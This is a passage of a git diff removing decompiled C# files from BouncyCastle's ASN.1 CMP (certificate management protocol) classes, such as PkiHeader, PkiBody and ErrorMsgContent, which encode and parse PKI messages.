DerObjectIdentifier("1.3.6.1.5.5.7.4.3"); - - public static readonly DerObjectIdentifier it_preferredSymAlg = new DerObjectIdentifier("1.3.6.1.5.5.7.4.4"); - - public static readonly DerObjectIdentifier it_caKeyUpdateInfo = new DerObjectIdentifier("1.3.6.1.5.5.7.4.5"); - - public static readonly DerObjectIdentifier it_currentCRL = new DerObjectIdentifier("1.3.6.1.5.5.7.4.6"); - - public static readonly DerObjectIdentifier it_unsupportedOIDs = new DerObjectIdentifier("1.3.6.1.5.5.7.4.7"); - - public static readonly DerObjectIdentifier it_keyPairParamReq = new DerObjectIdentifier("1.3.6.1.5.5.7.4.10"); - - public static readonly DerObjectIdentifier it_keyPairParamRep = new DerObjectIdentifier("1.3.6.1.5.5.7.4.11"); - - public static readonly DerObjectIdentifier it_revPassphrase = new DerObjectIdentifier("1.3.6.1.5.5.7.4.12"); - - public static readonly DerObjectIdentifier it_implicitConfirm = new DerObjectIdentifier("1.3.6.1.5.5.7.4.13"); - - public static readonly DerObjectIdentifier it_confirmWaitTime = new DerObjectIdentifier("1.3.6.1.5.5.7.4.14"); - - public static readonly DerObjectIdentifier it_origPKIMessage = new DerObjectIdentifier("1.3.6.1.5.5.7.4.15"); - - public static readonly DerObjectIdentifier it_suppLangTags = new DerObjectIdentifier("1.3.6.1.5.5.7.4.16"); - - public static readonly DerObjectIdentifier regCtrl_regToken = new DerObjectIdentifier("1.3.6.1.5.5.7.5.1.1"); - - public static readonly DerObjectIdentifier regCtrl_authenticator = new DerObjectIdentifier("1.3.6.1.5.5.7.5.1.2"); - - public static readonly DerObjectIdentifier regCtrl_pkiPublicationInfo = new DerObjectIdentifier("1.3.6.1.5.5.7.5.1.3"); - - public static readonly DerObjectIdentifier regCtrl_pkiArchiveOptions = new DerObjectIdentifier("1.3.6.1.5.5.7.5.1.4"); - - public static readonly DerObjectIdentifier regCtrl_oldCertID = new DerObjectIdentifier("1.3.6.1.5.5.7.5.1.5"); - - public static readonly DerObjectIdentifier regCtrl_protocolEncrKey = new DerObjectIdentifier("1.3.6.1.5.5.7.5.1.6"); - - public static readonly DerObjectIdentifier regCtrl_altCertTemplate = new DerObjectIdentifier("1.3.6.1.5.5.7.5.1.7"); - - public static readonly DerObjectIdentifier regInfo_utf8Pairs = new DerObjectIdentifier("1.3.6.1.5.5.7.5.2.1"); - - public static readonly DerObjectIdentifier regInfo_certReq = new DerObjectIdentifier("1.3.6.1.5.5.7.5.2.2"); - - public static readonly DerObjectIdentifier ct_encKeyWithID = new DerObjectIdentifier("1.2.840.113549.1.9.16.1.21"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CrlAnnContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CrlAnnContent.cs deleted file mode 100644 index 442b549..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CrlAnnContent.cs +++ /dev/null @@ -1,43 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class CrlAnnContent : Asn1Encodable -{ - private readonly Asn1Sequence content; - - private CrlAnnContent(Asn1Sequence seq) - { - content = seq; - } - - public static CrlAnnContent GetInstance(object obj) - { - if (obj is CrlAnnContent) - { - return (CrlAnnContent)obj; - } - if (obj is Asn1Sequence) - { - return new CrlAnnContent((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public virtual CertificateList[] ToCertificateListArray() - { - CertificateList[] array = new CertificateList[content.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = CertificateList.GetInstance(content[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return content; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/ErrorMsgContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/ErrorMsgContent.cs deleted file mode 100644 index 6ade23a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/ErrorMsgContent.cs +++ /dev/null @@ -1,72 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class ErrorMsgContent : Asn1Encodable -{ - private readonly PkiStatusInfo pkiStatusInfo; - - private readonly DerInteger errorCode; - - private readonly PkiFreeText errorDetails; - - public virtual PkiStatusInfo PkiStatusInfo => pkiStatusInfo; - - public virtual DerInteger ErrorCode => errorCode; - - public virtual PkiFreeText ErrorDetails => errorDetails; - - private ErrorMsgContent(Asn1Sequence seq) - { - pkiStatusInfo = PkiStatusInfo.GetInstance(seq[0]); - for (int i = 1; i < seq.Count; i++) - { - Asn1Encodable asn1Encodable = seq[i]; - if (asn1Encodable is DerInteger) - { - errorCode = DerInteger.GetInstance(asn1Encodable); - } - else - { - errorDetails = PkiFreeText.GetInstance(asn1Encodable); - } - } - } - - public static ErrorMsgContent GetInstance(object obj) - { - if (obj is ErrorMsgContent) - { - return (ErrorMsgContent)obj; - } - if (obj is Asn1Sequence) - { - return new ErrorMsgContent((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public ErrorMsgContent(PkiStatusInfo pkiStatusInfo) - : this(pkiStatusInfo, null, null) - { - } - - public ErrorMsgContent(PkiStatusInfo pkiStatusInfo, DerInteger errorCode, PkiFreeText errorDetails) - { - if (pkiStatusInfo == null) - { - throw new ArgumentNullException("pkiStatusInfo"); - } - this.pkiStatusInfo = pkiStatusInfo; - this.errorCode = errorCode; - this.errorDetails = errorDetails; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(pkiStatusInfo); - asn1EncodableVector.AddOptional(errorCode, errorDetails); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/GenMsgContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/GenMsgContent.cs deleted file mode 100644 index e04d41d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/GenMsgContent.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class GenMsgContent : Asn1Encodable -{ - private readonly Asn1Sequence content; - - private GenMsgContent(Asn1Sequence seq) - { - content = seq; - } - - public static GenMsgContent GetInstance(object obj) - { - if (obj is GenMsgContent) - { - return (GenMsgContent)obj; - } - if (obj is Asn1Sequence) - { - return new GenMsgContent((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public GenMsgContent(params InfoTypeAndValue[] itv) - { - content = new DerSequence(itv); - } - - public virtual InfoTypeAndValue[] ToInfoTypeAndValueArray() - { - InfoTypeAndValue[] array = new InfoTypeAndValue[content.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = InfoTypeAndValue.GetInstance(content[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return content; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/GenRepContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/GenRepContent.cs deleted file mode 100644 index 6324438..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/GenRepContent.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class GenRepContent : Asn1Encodable -{ - private readonly Asn1Sequence content; - - private GenRepContent(Asn1Sequence seq) - { - content = seq; - } - - public static GenRepContent GetInstance(object obj) - { - if (obj is GenRepContent) - { - return (GenRepContent)obj; - } - if (obj is Asn1Sequence) - { - return new GenRepContent((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public GenRepContent(params InfoTypeAndValue[] itv) - { - content = new DerSequence(itv); - } - - public virtual InfoTypeAndValue[] ToInfoTypeAndValueArray() - { - InfoTypeAndValue[] array = new InfoTypeAndValue[content.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = InfoTypeAndValue.GetInstance(content[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return content; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/InfoTypeAndValue.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/InfoTypeAndValue.cs deleted file mode 100644 index 0baf120..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/InfoTypeAndValue.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class InfoTypeAndValue : Asn1Encodable -{ - private readonly DerObjectIdentifier infoType; - - private readonly Asn1Encodable infoValue; - - public virtual DerObjectIdentifier InfoType => infoType; - - public virtual Asn1Encodable InfoValue => infoValue; - - private InfoTypeAndValue(Asn1Sequence seq) - { - infoType = DerObjectIdentifier.GetInstance(seq[0]); - if (seq.Count > 1) - { - infoValue = seq[1]; - } - } - - public static InfoTypeAndValue GetInstance(object obj) - { - if (obj is InfoTypeAndValue) - { - return (InfoTypeAndValue)obj; - } - if (obj is Asn1Sequence) - { - return new InfoTypeAndValue((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public InfoTypeAndValue(DerObjectIdentifier infoType) - { - this.infoType = infoType; - infoValue = null; - } - - public InfoTypeAndValue(DerObjectIdentifier infoType, Asn1Encodable optionalValue) - { - this.infoType = infoType; - infoValue = optionalValue; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(infoType); - if (infoValue != null) - { - asn1EncodableVector.Add(infoValue); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/KeyRecRepContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/KeyRecRepContent.cs deleted file mode 100644 index a7ec5b2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/KeyRecRepContent.cs +++ /dev/null @@ -1,100 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class KeyRecRepContent : Asn1Encodable -{ - private readonly PkiStatusInfo status; - - private readonly CmpCertificate newSigCert; - - private readonly Asn1Sequence caCerts; - - private readonly Asn1Sequence keyPairHist; - - public virtual PkiStatusInfo Status => status; - - public virtual CmpCertificate NewSigCert => newSigCert; - - private KeyRecRepContent(Asn1Sequence seq) - { - status = PkiStatusInfo.GetInstance(seq[0]); - for (int i = 1; i < seq.Count; i++) - { - Asn1TaggedObject instance = Asn1TaggedObject.GetInstance(seq[i]); - switch (instance.TagNo) - { - case 0: - newSigCert = CmpCertificate.GetInstance(instance.GetObject()); - break; - case 1: - caCerts = Asn1Sequence.GetInstance(instance.GetObject()); - break; - case 2: - keyPairHist = Asn1Sequence.GetInstance(instance.GetObject()); - break; - default: - throw new ArgumentException("unknown tag number: " + instance.TagNo, "seq"); - } - } - } - - public static KeyRecRepContent GetInstance(object obj) - { - if (obj is KeyRecRepContent) - { - return (KeyRecRepContent)obj; - } - if (obj is Asn1Sequence) - { - return new KeyRecRepContent((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public virtual CmpCertificate[] GetCACerts() - { - if (caCerts == null) - { - return null; - } - CmpCertificate[] array = new CmpCertificate[caCerts.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = CmpCertificate.GetInstance(caCerts[i]); - } - return array; - } - - public virtual CertifiedKeyPair[] GetKeyPairHist() - { - if (keyPairHist == null) - { - return null; - } - CertifiedKeyPair[] array = new CertifiedKeyPair[keyPairHist.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = CertifiedKeyPair.GetInstance(keyPairHist[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector v = new Asn1EncodableVector(status); - AddOptional(v, 0, newSigCert); - AddOptional(v, 1, caCerts); - AddOptional(v, 2, keyPairHist); - return new DerSequence(v); - } - - private void AddOptional(Asn1EncodableVector v, int tagNo, Asn1Encodable obj) - { - if (obj != null) - { - v.Add(new DerTaggedObject(explicitly: true, tagNo, obj)); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/OobCertHash.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/OobCertHash.cs deleted file mode 100644 index d07c8ba..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/OobCertHash.cs +++ /dev/null @@ -1,67 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Crmf; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class OobCertHash : Asn1Encodable -{ - private readonly AlgorithmIdentifier hashAlg; - - private readonly CertId certId; - - private readonly DerBitString hashVal; - - public virtual AlgorithmIdentifier HashAlg => hashAlg; - - public virtual CertId CertID => certId; - - private OobCertHash(Asn1Sequence seq) - { - int num = seq.Count - 1; - hashVal = DerBitString.GetInstance(seq[num--]); - for (int num2 = num; num2 >= 0; num2--) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)seq[num2]; - if (asn1TaggedObject.TagNo == 0) - { - hashAlg = AlgorithmIdentifier.GetInstance(asn1TaggedObject, explicitly: true); - } - else - { - certId = CertId.GetInstance(asn1TaggedObject, isExplicit: true); - } - } - } - - public static OobCertHash GetInstance(object obj) - { - if (obj is OobCertHash) - { - return (OobCertHash)obj; - } - if (obj is Asn1Sequence) - { - return new OobCertHash((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - AddOptional(asn1EncodableVector, 0, hashAlg); - AddOptional(asn1EncodableVector, 1, certId); - asn1EncodableVector.Add(hashVal); - return new DerSequence(asn1EncodableVector); - } - - private void AddOptional(Asn1EncodableVector v, int tagNo, Asn1Encodable obj) - { - if (obj != null) - { - v.Add(new DerTaggedObject(explicitly: true, tagNo, obj)); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PbmParameter.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PbmParameter.cs deleted file mode 100644 index 80e49fb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PbmParameter.cs +++ /dev/null @@ -1,63 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class PbmParameter : Asn1Encodable -{ - private Asn1OctetString salt; - - private AlgorithmIdentifier owf; - - private DerInteger iterationCount; - - private AlgorithmIdentifier mac; - - public virtual Asn1OctetString Salt => salt; - - public virtual AlgorithmIdentifier Owf => owf; - - public virtual DerInteger IterationCount => iterationCount; - - public virtual AlgorithmIdentifier Mac => mac; - - private PbmParameter(Asn1Sequence seq) - { - salt = Asn1OctetString.GetInstance(seq[0]); - owf = AlgorithmIdentifier.GetInstance(seq[1]); - iterationCount = DerInteger.GetInstance(seq[2]); - mac = AlgorithmIdentifier.GetInstance(seq[3]); - } - - public static PbmParameter GetInstance(object obj) - { - if (obj is PbmParameter) - { - return (PbmParameter)obj; - } - if (obj is Asn1Sequence) - { - return new PbmParameter((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public PbmParameter(byte[] salt, AlgorithmIdentifier owf, int iterationCount, AlgorithmIdentifier mac) - : this(new DerOctetString(salt), owf, new DerInteger(iterationCount), mac) - { - } - - public PbmParameter(Asn1OctetString salt, AlgorithmIdentifier owf, DerInteger iterationCount, AlgorithmIdentifier mac) - { - this.salt = salt; - this.owf = owf; - this.iterationCount = iterationCount; - this.mac = mac; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(salt, owf, iterationCount, mac); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiBody.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiBody.cs deleted file mode 100644 index e2a598d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiBody.cs +++ /dev/null @@ -1,136 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Crmf; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class PkiBody : Asn1Encodable, IAsn1Choice -{ - public const int TYPE_INIT_REQ = 0; - - public const int TYPE_INIT_REP = 1; - - public const int TYPE_CERT_REQ = 2; - - public const int TYPE_CERT_REP = 3; - - public const int TYPE_P10_CERT_REQ = 4; - - public const int TYPE_POPO_CHALL = 5; - - public const int TYPE_POPO_REP = 6; - - public const int TYPE_KEY_UPDATE_REQ = 7; - - public const int TYPE_KEY_UPDATE_REP = 8; - - public const int TYPE_KEY_RECOVERY_REQ = 9; - - public const int TYPE_KEY_RECOVERY_REP = 10; - - public const int TYPE_REVOCATION_REQ = 11; - - public const int TYPE_REVOCATION_REP = 12; - - public const int TYPE_CROSS_CERT_REQ = 13; - - public const int TYPE_CROSS_CERT_REP = 14; - - public const int TYPE_CA_KEY_UPDATE_ANN = 15; - - public const int TYPE_CERT_ANN = 16; - - public const int TYPE_REVOCATION_ANN = 17; - - public const int TYPE_CRL_ANN = 18; - - public const int TYPE_CONFIRM = 19; - - public const int TYPE_NESTED = 20; - - public const int TYPE_GEN_MSG = 21; - - public const int TYPE_GEN_REP = 22; - - public const int TYPE_ERROR = 23; - - public const int TYPE_CERT_CONFIRM = 24; - - public const int TYPE_POLL_REQ = 25; - - public const int TYPE_POLL_REP = 26; - - private int tagNo; - - private Asn1Encodable body; - - public virtual int Type => tagNo; - - public virtual Asn1Encodable Content => body; - - public static PkiBody GetInstance(object obj) - { - if (obj is PkiBody) - { - return (PkiBody)obj; - } - if (obj is Asn1TaggedObject) - { - return new PkiBody((Asn1TaggedObject)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - private PkiBody(Asn1TaggedObject tagged) - { - tagNo = tagged.TagNo; - body = GetBodyForType(tagNo, tagged.GetObject()); - } - - public PkiBody(int type, Asn1Encodable content) - { - tagNo = type; - body = GetBodyForType(type, content); - } - - private static Asn1Encodable GetBodyForType(int type, Asn1Encodable o) - { - return type switch - { - 0 => CertReqMessages.GetInstance(o), - 1 => CertRepMessage.GetInstance(o), - 2 => CertReqMessages.GetInstance(o), - 3 => CertRepMessage.GetInstance(o), - 4 => CertificationRequest.GetInstance(o), - 5 => PopoDecKeyChallContent.GetInstance(o), - 6 => PopoDecKeyRespContent.GetInstance(o), - 7 => CertReqMessages.GetInstance(o), - 8 => CertRepMessage.GetInstance(o), - 9 => CertReqMessages.GetInstance(o), - 10 => KeyRecRepContent.GetInstance(o), - 11 => RevReqContent.GetInstance(o), - 12 => RevRepContent.GetInstance(o), - 13 => CertReqMessages.GetInstance(o), - 14 => CertRepMessage.GetInstance(o), - 15 => CAKeyUpdAnnContent.GetInstance(o), - 16 => CmpCertificate.GetInstance(o), - 17 => RevAnnContent.GetInstance(o), - 18 => CrlAnnContent.GetInstance(o), - 19 => PkiConfirmContent.GetInstance(o), - 20 => PkiMessages.GetInstance(o), - 21 => GenMsgContent.GetInstance(o), - 22 => GenRepContent.GetInstance(o), - 23 => ErrorMsgContent.GetInstance(o), - 24 => CertConfirmContent.GetInstance(o), - 25 => PollReqContent.GetInstance(o), - 26 => PollRepContent.GetInstance(o), - _ => throw new ArgumentException("unknown tag number: " + type, "type"), - }; - } - - public override Asn1Object ToAsn1Object() - { - return new DerTaggedObject(explicitly: true, tagNo, body); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiConfirmContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiConfirmContent.cs deleted file mode 100644 index 0bf6560..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiConfirmContent.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class PkiConfirmContent : Asn1Encodable -{ - public static PkiConfirmContent GetInstance(object obj) - { - if (obj is PkiConfirmContent) - { - return (PkiConfirmContent)obj; - } - if (obj is Asn1Null) - { - return new PkiConfirmContent(); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public override Asn1Object ToAsn1Object() - { - return DerNull.Instance; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiFailureInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiFailureInfo.cs deleted file mode 100644 index 598de78..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiFailureInfo.cs +++ /dev/null @@ -1,73 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Cmp; - -public class PkiFailureInfo : DerBitString -{ - public const int BadAlg = 128; - - public const int BadMessageCheck = 64; - - public const int BadRequest = 32; - - public const int BadTime = 16; - - public const int BadCertId = 8; - - public const int BadDataFormat = 4; - - public const int WrongAuthority = 2; - - public const int IncorrectData = 1; - - public const int MissingTimeStamp = 32768; - - public const int BadPop = 16384; - - public const int CertRevoked = 8192; - - public const int CertConfirmed = 4096; - - public const int WrongIntegrity = 2048; - - public const int BadRecipientNonce = 1024; - - public const int TimeNotAvailable = 512; - - public const int UnacceptedPolicy = 256; - - public const int UnacceptedExtension = 8388608; - - public const int AddInfoNotAvailable = 4194304; - - public const int BadSenderNonce = 2097152; - - public const int BadCertTemplate = 1048576; - - public const int SignerNotTrusted = 524288; - - public const int TransactionIdInUse = 262144; - - public const int UnsupportedVersion = 131072; - - public const int NotAuthorized = 65536; - - public const int SystemUnavail = int.MinValue; - - public const int SystemFailure = 1073741824; - - public const int DuplicateCertReq = 536870912; - - public PkiFailureInfo(int info) - : base(info) - { - } - - public PkiFailureInfo(DerBitString info) - : base(info.GetBytes(), info.PadBits) - { - } - - public override string ToString() - { - return "PkiFailureInfo: 0x" + IntValue.ToString("X"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiFreeText.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiFreeText.cs deleted file mode 100644 index 238ba8c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiFreeText.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class PkiFreeText : Asn1Encodable -{ - internal Asn1Sequence strings; - - [Obsolete("Use 'Count' property instead")] - public int Size => strings.Count; - - public int Count => strings.Count; - - public DerUtf8String this[int index] => (DerUtf8String)strings[index]; - - public static PkiFreeText GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public static PkiFreeText GetInstance(object obj) - { - if (obj is PkiFreeText) - { - return (PkiFreeText)obj; - } - if (obj is Asn1Sequence) - { - return new PkiFreeText((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public PkiFreeText(Asn1Sequence seq) - { - foreach (object item in seq) - { - if (!(item is DerUtf8String)) - { - throw new ArgumentException("attempt to insert non UTF8 STRING into PkiFreeText"); - } - } - strings = seq; - } - - public PkiFreeText(DerUtf8String p) - { - strings = new DerSequence(p); - } - - [Obsolete("Use 'object[index]' syntax instead")] - public DerUtf8String GetStringAt(int index) - { - return this[index]; - } - - public override Asn1Object ToAsn1Object() - { - return strings; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiHeader.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiHeader.cs deleted file mode 100644 index fb2ccdc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiHeader.cs +++ /dev/null @@ -1,165 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class PkiHeader : Asn1Encodable -{ - public static readonly GeneralName NULL_NAME = new GeneralName(X509Name.GetInstance(new DerSequence())); - - public static readonly int CMP_1999 = 1; - - public static readonly int CMP_2000 = 2; - - private readonly DerInteger pvno; - - private readonly GeneralName sender; - - private readonly GeneralName recipient; - - private readonly DerGeneralizedTime messageTime; - - private readonly AlgorithmIdentifier protectionAlg; - - private readonly Asn1OctetString senderKID; - - private readonly Asn1OctetString recipKID; - - private readonly Asn1OctetString transactionID; - - private readonly Asn1OctetString senderNonce; - - private readonly Asn1OctetString recipNonce; - - private readonly PkiFreeText freeText; - - private readonly Asn1Sequence generalInfo; - - public virtual DerInteger Pvno => pvno; - - public virtual GeneralName Sender => sender; - - public virtual GeneralName Recipient => recipient; - - public virtual DerGeneralizedTime MessageTime => messageTime; - - public virtual AlgorithmIdentifier ProtectionAlg => protectionAlg; - - public virtual Asn1OctetString SenderKID => senderKID; - - public virtual Asn1OctetString RecipKID => recipKID; - - public virtual Asn1OctetString TransactionID => transactionID; - - public virtual Asn1OctetString SenderNonce => senderNonce; - - public virtual Asn1OctetString RecipNonce => recipNonce; - - public virtual PkiFreeText FreeText => freeText; - - private PkiHeader(Asn1Sequence seq) - { - pvno = DerInteger.GetInstance(seq[0]); - sender = GeneralName.GetInstance(seq[1]); - recipient = GeneralName.GetInstance(seq[2]); - for (int i = 3; i < seq.Count; i++) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)seq[i]; - switch (asn1TaggedObject.TagNo) - { - case 0: - messageTime = DerGeneralizedTime.GetInstance(asn1TaggedObject, isExplicit: true); - break; - case 1: - protectionAlg = AlgorithmIdentifier.GetInstance(asn1TaggedObject, explicitly: true); - break; - case 2: - senderKID = Asn1OctetString.GetInstance(asn1TaggedObject, isExplicit: true); - break; - case 3: - recipKID = Asn1OctetString.GetInstance(asn1TaggedObject, isExplicit: true); - break; - case 4: - transactionID = Asn1OctetString.GetInstance(asn1TaggedObject, isExplicit: true); - break; - case 5: - senderNonce = Asn1OctetString.GetInstance(asn1TaggedObject, isExplicit: true); - break; - case 6: - recipNonce = Asn1OctetString.GetInstance(asn1TaggedObject, isExplicit: true); - break; - case 7: - freeText = PkiFreeText.GetInstance(asn1TaggedObject, isExplicit: true); - break; - case 8: - generalInfo = Asn1Sequence.GetInstance(asn1TaggedObject, explicitly: true); - break; - default: - throw new ArgumentException("unknown tag number: " + asn1TaggedObject.TagNo, "seq"); - } - } - } - - public static PkiHeader GetInstance(object obj) - { - if (obj is PkiHeader) - { - return (PkiHeader)obj; - } - if (obj is Asn1Sequence) - { - return new PkiHeader((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public PkiHeader(int pvno, GeneralName sender, GeneralName recipient) - : this(new DerInteger(pvno), sender, recipient) - { - } - - private PkiHeader(DerInteger pvno, GeneralName sender, GeneralName recipient) - { - this.pvno = pvno; - this.sender = sender; - this.recipient = recipient; - } - - public virtual InfoTypeAndValue[] GetGeneralInfo() - { - if (generalInfo == null) - { - return null; - } - InfoTypeAndValue[] array = new InfoTypeAndValue[generalInfo.Count]; - for (int i = 0; i < array.Length; i++) - { - array[i] = InfoTypeAndValue.GetInstance(generalInfo[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector v = new Asn1EncodableVector(pvno, sender, recipient); - AddOptional(v, 0, messageTime); - AddOptional(v, 1, protectionAlg); - AddOptional(v, 2, senderKID); - AddOptional(v, 3, recipKID); - AddOptional(v, 4, transactionID); - AddOptional(v, 5, senderNonce); - AddOptional(v, 6, recipNonce); - AddOptional(v, 7, freeText); - AddOptional(v, 8, generalInfo); - return new DerSequence(v); - } - - private static void AddOptional(Asn1EncodableVector v, int tagNo, Asn1Encodable obj) - { - if (obj != null) - { - v.Add(new DerTaggedObject(explicitly: true, tagNo, obj)); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiHeaderBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiHeaderBuilder.cs deleted file mode 100644 index ee3a974..0000000 --- 